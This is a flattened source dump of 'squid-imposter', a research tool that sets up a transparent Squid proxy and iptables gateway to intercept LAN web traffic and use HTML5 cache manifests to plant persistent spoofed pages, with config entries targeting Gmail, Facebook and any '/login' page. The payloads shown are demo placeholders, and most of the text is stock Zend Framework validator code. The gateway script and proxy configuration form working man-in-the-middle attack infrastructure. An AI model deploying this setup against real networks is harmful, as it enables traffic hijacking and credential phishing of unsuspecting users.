├── payloads ├── default.manifest ├── facebook.manifest ├── default.append ├── test.payload ├── facebook.append └── config.ini ├── squid-imposter.png ├── Zend ├── Http │ ├── UserAgent │ │ ├── Exception.php │ │ ├── Storage │ │ │ ├── Exception.php │ │ │ ├── NonPersistent.php │ │ │ └── Session.php │ │ ├── Features │ │ │ ├── Exception.php │ │ │ ├── Adapter.php │ │ │ └── Adapter │ │ │ │ ├── DeviceAtlas.php │ │ │ │ ├── TeraWurfl.php │ │ │ │ └── WurflApi.php │ │ ├── Desktop.php │ │ ├── Email.php │ │ ├── Console.php │ │ ├── Offline.php │ │ ├── Validator.php │ │ ├── Checker.php │ │ ├── Storage.php │ │ ├── Spam.php │ │ ├── Feed.php │ │ ├── Probe.php │ │ ├── Text.php │ │ └── Bot.php │ ├── Exception.php │ └── Client │ │ ├── Exception.php │ │ └── Adapter │ │ ├── Exception.php │ │ ├── Stream.php │ │ └── Interface.php ├── Validate │ ├── Exception.php │ ├── Barcode │ │ ├── Upca.php │ │ ├── Ean13.php │ │ ├── Sscc.php │ │ ├── Ean12.php │ │ ├── Ean14.php │ │ ├── Ean18.php │ │ ├── Gtin12.php │ │ ├── Gtin13.php │ │ ├── Gtin14.php │ │ ├── Itf14.php │ │ ├── Leitcode.php │ │ ├── Identcode.php │ │ ├── Planet.php │ │ ├── Postnet.php │ │ ├── Ean2.php │ │ ├── Ean5.php │ │ ├── Code39ext.php │ │ ├── Code93ext.php │ │ ├── Intelligentmail.php │ │ ├── Code25.php │ │ ├── Code25interleaved.php │ │ ├── Ean8.php │ │ ├── Upce.php │ │ ├── AdapterInterface.php │ │ ├── Code39.php │ │ ├── Issn.php │ │ ├── Code93.php │ │ └── Royalmail.php │ ├── Db │ │ ├── RecordExists.php │ │ └── NoRecordExists.php │ ├── Interface.php │ ├── Hex.php │ ├── Sitemap │ │ ├── Priority.php │ │ ├── Loc.php │ │ ├── Lastmod.php │ │ └── Changefreq.php │ ├── File │ │ ├── NotExists.php │ │ ├── ExcludeExtension.php │ │ ├── WordCount.php │ │ └── ExcludeMimeType.php │ ├── Digits.php │ ├── LessThan.php │ ├── GreaterThan.php │ ├── Ccnum.php │ ├── Float.php │ ├── Int.php │ ├── Regex.php │ ├── Alpha.php │ ├── Alnum.php │ ├── Identical.php │ └── Callback.php └── Uri │ └── Exception.php ├── squid.conf ├── setup_gw.sh ├── rewrite.php ├── index.php └── README /payloads/default.manifest: -------------------------------------------------------------------------------- 1 | CACHE MANIFEST 2 | CACHE: 3 | %%payload%% 4 | NETWORK: 5 | * 6 | -------------------------------------------------------------------------------- /payloads/facebook.manifest: -------------------------------------------------------------------------------- 1 | CACHE MANIFEST 2 | CACHE: 3 | %%payload%% 4 | NETWORK: 5 | * 6 | -------------------------------------------------------------------------------- /squid-imposter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koto/squid-imposter/HEAD/squid-imposter.png -------------------------------------------------------------------------------- /payloads/default.append: -------------------------------------------------------------------------------- 1 |

Squid-imposter works!

2 |

%%payload%% page is spoofed by squid-imposter, but this is just a default content. To replace it, create %%site%%.append or %%site%%.payload file and add your content there.

3 | -------------------------------------------------------------------------------- /payloads/test.payload: -------------------------------------------------------------------------------- 1 |

Hurray!

2 |

Squid-imposter by Krzysztof Kotowicz

3 | 4 |

If you're seeing this, squid-imposter works correctly. Try going to http://gmail.com to see it in action.

-------------------------------------------------------------------------------- /payloads/facebook.append: -------------------------------------------------------------------------------- 1 |

We work on Facebook too!

2 |

%%payload%% page is spoofed by squid-imposter, but this is just a default content. To replace it, create %%site%%.append or %%site%%.payload file and add your content there.

3 | -------------------------------------------------------------------------------- /payloads/config.ini: -------------------------------------------------------------------------------- 1 | [config] 2 | ; absolute URL to this directory 3 | imposter=http://localhost/squid-imposter/ 4 | test_mode=1 5 | ;logfile=./imposter.log 6 | 7 | ; use absolute URLs for specific sites 8 | [gmail] 9 | payload=http://mail.google.com/mail/ 10 | manifest=http://mail.google.com/mail/help/intl/en/terms.html 11 | 12 | [facebook] 13 | payload=http://www.facebook.com/ 14 | manifest=http://www.facebook.com/robots.txt 15 | 16 | ; Will match all pages with '/login' URL 17 | ; assumes these domains have /robots.txt URL 18 | ; Put as a last catch-all rule with more specific rules above 19 | ; This is example of omitting domain in specifying URLs. 20 | ; However, when you omit domain, you should either: 21 | ; - not use *_match rules anymore 22 | ; (when serving manifest we don't know what _exact_ URL would payload have and vice versa) 23 | ; OR 24 | ; - prepare a specific payload / manifest files instead of default ones 25 | [login_page] 26 | ;use full regexp enclosing it with delimiters 27 | payload=/login 28 | ; will match a file in any domain 29 | manifest=/robots.txt -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Exception.php: -------------------------------------------------------------------------------- 1 | _setValue($value); 42 | 43 | $result = $this->_query($value); 44 | if (!$result) { 45 | $valid = false; 46 | $this->_error(self::ERROR_NO_RECORD_FOUND); 47 | } 48 | 49 | return $valid; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /Zend/Validate/Db/NoRecordExists.php: -------------------------------------------------------------------------------- 1 | _setValue($value); 42 | 43 | $result = $this->_query($value); 44 | if ($result) { 45 | $valid = false; 46 | $this->_error(self::ERROR_RECORD_FOUND); 47 | } 48 | 49 | return $valid; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Desktop.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Ean5.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Code39ext.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Code93ext.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Intelligentmail.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Code25.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Code25interleaved.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Email.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 63 | } else { 64 | $this->setCheck(true); 65 | } 66 | 67 | return parent::checkLength($value); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Upce.php: -------------------------------------------------------------------------------- 1 | setCheck(false); 63 | } else { 64 | $this->setCheck(true); 65 | } 66 | 67 | return parent::checkLength($value); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /Zend/Validate/Interface.php: -------------------------------------------------------------------------------- 1 | 7 | ; @see http://blog.kotowicz.net 8 | ; @see http://github.com/koto/squid-imposter 9 | 10 | access_log /var/log/squid/access.log squid 11 | 12 | ; full path to squid-imposter 13 | url_rewrite_program /var/www/squid-imposter/rewrite.php 14 | 15 | ; tcp port 16 | http_port 8080 transparent 17 | 18 | ; who will be able to communicate with squid proxy 19 | ; see also setup_gw.sh for localnet settings 20 | acl localhost src 127.0.0.1/32 21 | acl localnet src 192.168.0.0/16 22 | 23 | acl all src all 24 | acl CONNECT method CONNECT 25 | acl manager proto cache_object 26 | acl purge method PURGE 27 | acl Safe_ports port 1025-65535 # unregistered ports 28 | acl Safe_ports port 210 # wais 29 | acl Safe_ports port 21 # ftp 30 | acl Safe_ports port 280 # http-mgmt 31 | acl Safe_ports port 443 # https 32 | acl Safe_ports port 488 # gss-http 33 | acl Safe_ports port 591 # filemaker 34 | acl Safe_ports port 70 # gopher 35 | acl Safe_ports port 777 # multiling http 36 | acl Safe_ports port 80 # http 37 | acl SSL_ports port 443 563 38 | always_direct allow all 39 | cache_dir ufs /var/spool/squid 2048 16 256 40 | cache_mem 256 MB 41 | cache_mgr admin@email.com 42 | coredump_dir /var/spool/squid 43 | forwarded_for off 44 | hierarchy_stoplist cgi-bin ? 45 | http_access allow localhost 46 | http_access allow localnet 47 | http_access allow manager localhost 48 | http_access deny all 49 | http_access deny CONNECT !SSL_ports 50 | http_access deny manager 51 | http_access deny !Safe_ports 52 | http_reply_access allow localnet 53 | http_reply_access allow localhost 54 | http_reply_access deny all 55 | icp_access allow localnet 56 | icp_access deny all 57 | icp_port 3130 58 | refresh_pattern . 0 20% 4320 59 | refresh_pattern (cgi-bin|\?) 0 0% 0 60 | refresh_pattern ^ftp: 1440 20% 10080 61 | refresh_pattern ^gopher: 1440 0% 1440 62 | visible_hostname yourdomain.com 63 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/AdapterInterface.php: -------------------------------------------------------------------------------- 1 | 17 | # @see http://blog.kotowicz.net 18 | # @see http://github.com/koto/squid-imposter 19 | SQUID_SERVER="$1" 20 | SQUID_PORT="8080" 21 | INTERNET="eth1" 22 | LAN_IN="eth2" 23 | 24 | echo "Acting as gateway to $INTERNET for hosts from $LAN_IN" 25 | 26 | iptables -F 27 | iptables -X 28 | iptables -t nat -X 29 | iptables -t nat -F 30 | iptables -t mangle -X 31 | iptables -t mangle -F 32 | modprobe ip_conntrack 33 | modprobe ip_conntrack_ftp 34 | echo 1 > /proc/sys/net/ipv4/ip_forward 35 | iptables -P INPUT DROP 36 | iptables -P OUTPUT ACCEPT 37 | # unlimited loopback 38 | iptables -A INPUT -i lo -j ACCEPT 39 | iptables -A OUTPUT -o lo -j ACCEPT 40 | # allow UDP,DNS 41 | iptables -A INPUT -i $INTERNET -m state --state ESTABLISHED,RELATED -j ACCEPT 42 | # set as router for lan 43 | iptables --table nat --append POSTROUTING --out-interface $INTERNET -j MASQUERADE 44 | iptables --append FORWARD --in-interface $LAN_IN -j ACCEPT 45 | # unlimited lan access 46 | iptables -A INPUT -i $LAN_IN -j ACCEPT 47 | iptables -A OUTPUT -o $LAN_IN -j ACCEPT 48 | if [ "$SQUID_SERVER" != "" ]; then 49 | # setup transparent proxy 50 | iptables -t nat -A PREROUTING -i $LAN_IN -p tcp --dport 80 -j DNAT --to $SQUID_SERVER:$SQUID_PORT 51 | iptables -t nat -A PREROUTING -i $INTERNET -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT 52 | # drop and log 53 | # iptables -A INPUT -j LOG 54 | # iptables -A INPUT -j DROP 55 | echo "Port 80 traffic will be forwarded to transparent proxy on $SQUID_SERVER:$SQUID_PORT" 56 | else 57 | echo "No transparent proxy. Use '$0 ' to forward traffic through proxy" 58 | fi 59 | 60 | -------------------------------------------------------------------------------- /Zend/Validate/Hex.php: -------------------------------------------------------------------------------- 1 | "Invalid type given. String expected", 45 | self::NOT_HEX => "'%value%' has not only hexadecimal digit characters", 46 | ); 47 | 48 | /** 49 | * Defined by Zend_Validate_Interface 50 | * 51 | * Returns true if and only if $value contains only hexadecimal digit characters 52 | * 53 | * @param string $value 54 | * @return boolean 55 | */ 56 | public function isValid($value) 57 | { 58 | if (!is_string($value) && !is_int($value)) { 59 | $this->_error(self::INVALID); 60 | return false; 61 | } 62 | 63 | $this->_setValue($value); 64 | if (!ctype_xdigit((string) $value)) { 65 | $this->_error(self::NOT_HEX); 66 | return false; 67 | } 68 | 69 | return true; 70 | } 71 | 72 | } 73 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Spam.php: -------------------------------------------------------------------------------- 1 | setFeature('images', false, 'product_capability'); 74 | $this->setFeature('iframes', false, 'product_capability'); 75 | $this->setFeature('frames', false, 'product_capability'); 76 | $this->setFeature('javascript', false, 'product_capability'); 77 | return parent::_defineFeatures(); 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Feed.php: -------------------------------------------------------------------------------- 1 | setFeature('iframes', false, 'product_capability'); 77 | $this->setFeature('frames', false, 'product_capability'); 78 | $this->setFeature('javascript', false, 'product_capability'); 79 | return parent::_defineFeatures(); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Probe.php: -------------------------------------------------------------------------------- 1 | setFeature('images', false, 'product_capability'); 76 | $this->setFeature('iframes', false, 'product_capability'); 77 | $this->setFeature('frames', false, 'product_capability'); 78 | $this->setFeature('javascript', false, 'product_capability'); 79 | return parent::_defineFeatures(); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /Zend/Http/Client/Adapter/Interface.php: -------------------------------------------------------------------------------- 1 | value 30 | * 31 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format 32 | * 33 | * @category Zend 34 | * @package Zend_Validate 35 | * @subpackage Sitemap 36 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) 37 | * @license http://framework.zend.com/license/new-bsd New BSD License 38 | */ 39 | class Zend_Validate_Sitemap_Priority extends Zend_Validate_Abstract 40 | { 41 | /** 42 | * Validation key for not valid 43 | * 44 | */ 45 | const NOT_VALID = 'sitemapPriorityNotValid'; 46 | const INVALID = 'sitemapPriorityInvalid'; 47 | 48 | /** 49 | * Validation failure message template definitions 50 | * 51 | * @var array 52 | */ 53 | protected $_messageTemplates = array( 54 | self::NOT_VALID => "'%value%' is no valid sitemap priority", 55 | self::INVALID => "Invalid type given. Numeric string, integer or float expected", 56 | ); 57 | 58 | /** 59 | * Validates if a string is valid as a sitemap priority 60 | * 61 | * @link http://www.sitemaps.org/protocol.php#prioritydef 62 | * 63 | * @param string $value value to validate 64 | * @return boolean 65 | */ 66 | public function isValid($value) 67 | { 68 | if (!is_numeric($value)) { 69 | $this->_error(self::INVALID); 70 | return false; 71 | } 72 | 73 | $this->_setValue($value); 74 | $value = (float) $value; 75 | if ($value < 0 || $value > 1) { 76 | $this->_error(self::NOT_VALID); 77 | return false; 78 | } 79 | 80 | return true; 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /Zend/Validate/Sitemap/Loc.php: -------------------------------------------------------------------------------- 1 | value 35 | * 36 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format 37 | * 38 | * @category Zend 39 | * @package Zend_Validate 40 | * @subpackage Sitemap 41 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) 42 | * @license http://framework.zend.com/license/new-bsd New BSD License 43 | */ 44 | class Zend_Validate_Sitemap_Loc extends Zend_Validate_Abstract 45 | { 46 | /** 47 | * Validation key for not valid 48 | * 49 | */ 50 | const NOT_VALID = 'sitemapLocNotValid'; 51 | const INVALID = 'sitemapLocInvalid'; 52 | 53 | /** 54 | * Validation failure message template definitions 55 | * 56 | * @var array 57 | */ 58 | protected $_messageTemplates = array( 59 | self::NOT_VALID => "'%value%' is no valid sitemap location", 60 | self::INVALID => "Invalid type given. String expected", 61 | ); 62 | 63 | /** 64 | * Validates if a string is valid as a sitemap location 65 | * 66 | * @link http://www.sitemaps.org/protocol.php#locdef 67 | * 68 | * @param string $value value to validate 69 | * @return boolean 70 | */ 71 | public function isValid($value) 72 | { 73 | if (!is_string($value)) { 74 | $this->_error(self::INVALID); 75 | return false; 76 | } 77 | 78 | $this->_setValue($value); 79 | $result = Zend_Uri::check($value); 80 | if ($result !== true) { 81 | $this->_error(self::NOT_VALID); 82 | return false; 83 | } 84 | 85 | return true; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /Zend/Validate/File/NotExists.php: -------------------------------------------------------------------------------- 1 | "File '%value%' exists", 47 | ); 48 | 49 | /** 50 | * Defined by Zend_Validate_Interface 51 | * 52 | * Returns true if and only if the file does not exist in the set destinations 53 | * 54 | * @param string $value Real file to check for 55 | * @param array $file File data from Zend_File_Transfer 56 | * @return boolean 57 | */ 58 | public function isValid($value, $file = null) 59 | { 60 | $directories = $this->getDirectory(true); 61 | if (($file !== null) and (!empty($file['destination']))) { 62 | $directories[] = $file['destination']; 63 | } else if (!isset($file['name'])) { 64 | $file['name'] = $value; 65 | } 66 | 67 | foreach ($directories as $directory) { 68 | if (empty($directory)) { 69 | continue; 70 | } 71 | 72 | $check = true; 73 | if (file_exists($directory . DIRECTORY_SEPARATOR . $file['name'])) { 74 | return $this->_throw($file, self::DOES_EXIST); 75 | } 76 | } 77 | 78 | if (!isset($check)) { 79 | return $this->_throw($file, self::DOES_EXIST); 80 | } 81 | 82 | return true; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /Zend/Validate/Sitemap/Lastmod.php: -------------------------------------------------------------------------------- 1 | value 30 | * 31 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format 32 | * 33 | * @category Zend 34 | * @package Zend_Validate 35 | * @subpackage Sitemap 36 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) 37 | * @license http://framework.zend.com/license/new-bsd New BSD License 38 | */ 39 | class Zend_Validate_Sitemap_Lastmod extends Zend_Validate_Abstract 40 | { 41 | /** 42 | * Regular expression to use when validating 43 | * 44 | */ 45 | const LASTMOD_REGEX = '/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])(T([0-1][0-9]|2[0-3])(:[0-5][0-9])(:[0-5][0-9])?(\\+|-)([0-1][0-9]|2[0-3]):[0-5][0-9])?$/'; 46 | 47 | /** 48 | * Validation key for not valid 49 | * 50 | */ 51 | const NOT_VALID = 'sitemapLastmodNotValid'; 52 | const INVALID = 'sitemapLastmodInvalid'; 53 | 54 | /** 55 | * Validation failure message template definitions 56 | * 57 | * @var array 58 | */ 59 | protected $_messageTemplates = array( 60 | self::NOT_VALID => "'%value%' is no valid sitemap lastmod", 61 | self::INVALID => "Invalid type given. String expected", 62 | ); 63 | 64 | /** 65 | * Validates if a string is valid as a sitemap lastmod 66 | * 67 | * @link http://www.sitemaps.org/protocol.php#lastmoddef 68 | * 69 | * @param string $value value to validate 70 | * @return boolean 71 | */ 72 | public function isValid($value) 73 | { 74 | if (!is_string($value)) { 75 | $this->_error(self::INVALID); 76 | return false; 77 | } 78 | 79 | $this->_setValue($value); 80 | $result = @preg_match(self::LASTMOD_REGEX, $value); 81 | if ($result != 1) { 82 | $this->_error(self::NOT_VALID); 83 | return false; 84 | } 85 | 86 | return true; 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /Zend/Validate/Digits.php: -------------------------------------------------------------------------------- 1 | "'%value%' must contain only digits", 53 | self::STRING_EMPTY => "'%value%' is an empty string", 54 | self::INVALID => "Invalid type given. String, integer or float expected", 55 | ); 56 | 57 | /** 58 | * Defined by Zend_Validate_Interface 59 | * 60 | * Returns true if and only if $value only contains digit characters 61 | * 62 | * @param string $value 63 | * @return boolean 64 | */ 65 | public function isValid($value) 66 | { 67 | if (!is_string($value) && !is_int($value) && !is_float($value)) { 68 | $this->_error(self::INVALID); 69 | return false; 70 | } 71 | 72 | $this->_setValue((string) $value); 73 | 74 | if ('' === $this->_value) { 75 | $this->_error(self::STRING_EMPTY); 76 | return false; 77 | } 78 | 79 | if (null === self::$_filter) { 80 | require_once 'Zend/Filter/Digits.php'; 81 | self::$_filter = new Zend_Filter_Digits(); 82 | } 83 | 84 | if ($this->_value !== self::$_filter->filter($this->_value)) { 85 | $this->_error(self::NOT_DIGITS); 86 | return false; 87 | } 88 | 89 | return true; 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /Zend/Validate/Sitemap/Changefreq.php: -------------------------------------------------------------------------------- 1 | value 30 | * 31 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format 32 | * 33 | * @category Zend 34 | * @package Zend_Validate 35 | * @subpackage Sitemap 36 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) 37 | * @license http://framework.zend.com/license/new-bsd New BSD License 38 | */ 39 | class Zend_Validate_Sitemap_Changefreq extends Zend_Validate_Abstract 40 | { 41 | /** 42 | * Validation key for not valid 43 | * 44 | */ 45 | const NOT_VALID = 'sitemapChangefreqNotValid'; 46 | const INVALID = 'sitemapChangefreqInvalid'; 47 | 48 | /** 49 | * Validation failure message template definitions 50 | * 51 | * @var array 52 | */ 53 | protected $_messageTemplates = array( 54 | self::NOT_VALID => "'%value%' is no valid sitemap changefreq", 55 | self::INVALID => "Invalid type given. String expected", 56 | ); 57 | 58 | /** 59 | * Valid change frequencies 60 | * 61 | * @var array 62 | */ 63 | protected $_changeFreqs = array( 64 | 'always', 'hourly', 'daily', 'weekly', 65 | 'monthly', 'yearly', 'never' 66 | ); 67 | 68 | /** 69 | * Validates if a string is valid as a sitemap changefreq 70 | * 71 | * @link http://www.sitemaps.org/protocol.php#changefreqdef 72 | * 73 | * @param string $value value to validate 74 | * @return boolean 75 | */ 76 | public function isValid($value) 77 | { 78 | if (!is_string($value)) { 79 | $this->_error(self::INVALID); 80 | return false; 81 | } 82 | 83 | $this->_setValue($value); 84 | if (!is_string($value)) { 85 | return false; 86 | } 87 | 88 | if (!in_array($value, $this->_changeFreqs, true)) { 89 | $this->_error(self::NOT_VALID); 90 | return false; 91 | } 92 | 93 | return true; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Storage/NonPersistent.php: -------------------------------------------------------------------------------- 1 | _data); 60 | } 61 | 62 | /** 63 | * Returns the contents of storage 64 | * 65 | * Behavior is undefined when storage is empty. 66 | * 67 | * @throws Zend_Http_UserAgent_Storage_Exception If reading contents from storage is impossible 68 | * @return mixed 69 | */ 70 | public function read() 71 | { 72 | return $this->_data; 73 | } 74 | 75 | /** 76 | * Writes $contents to storage 77 | * 78 | * @param mixed $contents 79 | * @throws Zend_Http_UserAgent_Storage_Exception If writing $contents to storage is impossible 80 | * @return void 81 | */ 82 | public function write($contents) 83 | { 84 | $this->_data = $contents; 85 | } 86 | 87 | /** 88 | * Clears contents from storage 89 | * 90 | * @throws Zend_Http_UserAgent_Storage_Exception If clearing contents from storage is impossible 91 | * @return void 92 | */ 93 | public function clear() 94 | { 95 | $this->_data = null; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Features/Adapter/DeviceAtlas.php: -------------------------------------------------------------------------------- 1 | "File '%value%' has a false extension", 48 | self::NOT_FOUND => "File '%value%' is not readable or does not exist", 49 | ); 50 | 51 | /** 52 | * Defined by Zend_Validate_Interface 53 | * 54 | * Returns true if and only if the fileextension of $value is not included in the 55 | * set extension list 56 | * 57 | * @param string $value Real file to check for extension 58 | * @param array $file File data from Zend_File_Transfer 59 | * @return boolean 60 | */ 61 | public function isValid($value, $file = null) 62 | { 63 | // Is file readable ? 64 | require_once 'Zend/Loader.php'; 65 | if (!Zend_Loader::isReadable($value)) { 66 | return $this->_throw($file, self::NOT_FOUND); 67 | } 68 | 69 | if ($file !== null) { 70 | $info['extension'] = substr($file['name'], strrpos($file['name'], '.') + 1); 71 | } else { 72 | $info = pathinfo($value); 73 | } 74 | 75 | $extensions = $this->getExtension(); 76 | 77 | if ($this->_case and (!in_array($info['extension'], $extensions))) { 78 | return true; 79 | } else if (!$this->_case) { 80 | $found = false; 81 | foreach ($extensions as $extension) { 82 | if (strtolower($extension) == strtolower($info['extension'])) { 83 | $found = true; 84 | } 85 | } 86 | 87 | if (!$found) { 88 | return true; 89 | } 90 | } 91 | 92 | return $this->_throw($file, self::FALSE_EXTENSION); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Code39.php: -------------------------------------------------------------------------------- 1 | 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5, '6' => 6, 58 | '7' => 7, '8' => 8, '9' => 9, 'A' => 10, 'B' => 11, 'C' => 12, 'D' => 13, 59 | 'E' => 14, 'F' => 15, 'G' => 16, 'H' => 17, 'I' => 18, 'J' => 19, 'K' => 20, 60 | 'L' => 21, 'M' => 22, 'N' => 23, 'O' => 24, 'P' => 25, 'Q' => 26, 'R' => 27, 61 | 'S' => 28, 'T' => 29, 'U' => 30, 'V' => 31, 'W' => 32, 'X' => 33, 'Y' => 34, 62 | 'Z' => 35, '-' => 36, '.' => 37, ' ' => 38, '$' => 39, '/' => 40, '+' => 41, 63 | '%' => 42, 64 | ); 65 | 66 | /** 67 | * Constructor 68 | * 69 | * Sets check flag to false. 70 | * 71 | * @return void 72 | */ 73 | public function __construct() 74 | { 75 | $this->setCheck(false); 76 | } 77 | 78 | /** 79 | * Validates the checksum (Modulo 43) 80 | * 81 | * @param string $value The barcode to validate 82 | * @return boolean 83 | */ 84 | protected function _code39($value) 85 | { 86 | $checksum = substr($value, -1, 1); 87 | $value = str_split(substr($value, 0, -1)); 88 | $count = 0; 89 | foreach($value as $char) { 90 | $count += $this->_check[$char]; 91 | } 92 | 93 | $mod = $count % 43; 94 | if ($mod == $this->_check[$checksum]) { 95 | return true; 96 | } 97 | 98 | return false; 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /Zend/Validate/LessThan.php: -------------------------------------------------------------------------------- 1 | "'%value%' is not less than '%max%'" 42 | ); 43 | 44 | /** 45 | * @var array 46 | */ 47 | protected $_messageVariables = array( 48 | 'max' => '_max' 49 | ); 50 | 51 | /** 52 | * Maximum value 53 | * 54 | * @var mixed 55 | */ 56 | protected $_max; 57 | 58 | /** 59 | * Sets validator options 60 | * 61 | * @param mixed|Zend_Config $max 62 | * @return void 63 | */ 64 | public function __construct($max) 65 | { 66 | if ($max instanceof Zend_Config) { 67 | $max = $max->toArray(); 68 | } 69 | 70 | if (is_array($max)) { 71 | if (array_key_exists('max', $max)) { 72 | $max = $max['max']; 73 | } else { 74 | require_once 'Zend/Validate/Exception.php'; 75 | throw new Zend_Validate_Exception("Missing option 'max'"); 76 | } 77 | } 78 | 79 | $this->setMax($max); 80 | } 81 | 82 | /** 83 | * Returns the max option 84 | * 85 | * @return mixed 86 | */ 87 | public function getMax() 88 | { 89 | return $this->_max; 90 | } 91 | 92 | /** 93 | * Sets the max option 94 | * 95 | * @param mixed $max 96 | * @return Zend_Validate_LessThan Provides a fluent interface 97 | */ 98 | public function setMax($max) 99 | { 100 | $this->_max = $max; 101 | return $this; 102 | } 103 | 104 | /** 105 | * Defined by Zend_Validate_Interface 106 | * 107 | * Returns true if and only if $value is less than max option 108 | * 109 | * @param mixed $value 110 | * @return boolean 111 | */ 112 | public function isValid($value) 113 | { 114 | $this->_setValue($value); 115 | if ($this->_max <= $value) { 116 | $this->_error(self::NOT_LESS); 117 | return false; 118 | } 119 | return true; 120 | } 121 | 122 | } 123 | -------------------------------------------------------------------------------- /Zend/Validate/GreaterThan.php: -------------------------------------------------------------------------------- 1 | "'%value%' is not greater than '%min%'", 43 | ); 44 | 45 | /** 46 | * @var array 47 | */ 48 | protected $_messageVariables = array( 49 | 'min' => '_min' 50 | ); 51 | 52 | /** 53 | * Minimum value 54 | * 55 | * @var mixed 56 | */ 57 | protected $_min; 58 | 59 | /** 60 | * Sets validator options 61 | * 62 | * @param mixed|Zend_Config $min 63 | * @return void 64 | */ 65 | public function __construct($min) 66 | { 67 | if ($min instanceof Zend_Config) { 68 | $min = $min->toArray(); 69 | } 70 | 71 | if (is_array($min)) { 72 | if (array_key_exists('min', $min)) { 73 | $min = $min['min']; 74 | } else { 75 | require_once 'Zend/Validate/Exception.php'; 76 | throw new Zend_Validate_Exception("Missing option 'min'"); 77 | } 78 | } 79 | 80 | $this->setMin($min); 81 | } 82 | 83 | /** 84 | * Returns the min option 85 | * 86 | * @return mixed 87 | */ 88 | public function getMin() 89 | { 90 | return $this->_min; 91 | } 92 | 93 | /** 94 | * Sets the min option 95 | * 96 | * @param mixed $min 97 | * @return Zend_Validate_GreaterThan Provides a fluent interface 98 | */ 99 | public function setMin($min) 100 | { 101 | $this->_min = $min; 102 | return $this; 103 | } 104 | 105 | /** 106 | * Defined by Zend_Validate_Interface 107 | * 108 | * Returns true if and only if $value is greater than min option 109 | * 110 | * @param mixed $value 111 | * @return boolean 112 | */ 113 | public function isValid($value) 114 | { 115 | $this->_setValue($value); 116 | 117 | if ($this->_min >= $value) { 118 | $this->_error(self::NOT_GREATER); 119 | return false; 120 | } 121 | return true; 122 | } 123 | 124 | } 125 | -------------------------------------------------------------------------------- /Zend/Validate/File/WordCount.php: -------------------------------------------------------------------------------- 1 | "Too much words, maximum '%max%' are allowed but '%count%' were counted", 50 | self::TOO_LESS => "Too less words, minimum '%min%' are expected but '%count%' were counted", 51 | self::NOT_FOUND => "File '%value%' is not readable or does not exist", 52 | ); 53 | 54 | /** 55 | * Defined by Zend_Validate_Interface 56 | * 57 | * Returns true if and only if the counted words are at least min and 58 | * not bigger than max (when max is not null). 59 | * 60 | * @param string $value Filename to check for word count 61 | * @param array $file File data from Zend_File_Transfer 62 | * @return boolean 63 | */ 64 | public function isValid($value, $file = null) 65 | { 66 | // Is file readable ? 67 | require_once 'Zend/Loader.php'; 68 | if (!Zend_Loader::isReadable($value)) { 69 | return $this->_throw($file, self::NOT_FOUND); 70 | } 71 | 72 | $content = file_get_contents($value); 73 | $this->_count = str_word_count($content); 74 | if (($this->_max !== null) && ($this->_count > $this->_max)) { 75 | return $this->_throw($file, self::TOO_MUCH); 76 | } 77 | 78 | if (($this->_min !== null) && ($this->_count < $this->_min)) { 79 | return $this->_throw($file, self::TOO_LESS); 80 | } 81 | 82 | return true; 83 | } 84 | 85 | /** 86 | * Throws an error of the given type 87 | * 88 | * @param string $file 89 | * @param string $errorType 90 | * @return false 91 | */ 92 | protected function _throw($file, $errorType) 93 | { 94 | if ($file !== null) { 95 | $this->_value = $file['name']; 96 | } 97 | 98 | $this->_error($errorType); 99 | return false; 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Issn.php: -------------------------------------------------------------------------------- 1 | _checksum = '_issn'; 80 | } else { 81 | $this->_checksum = '_gtin'; 82 | } 83 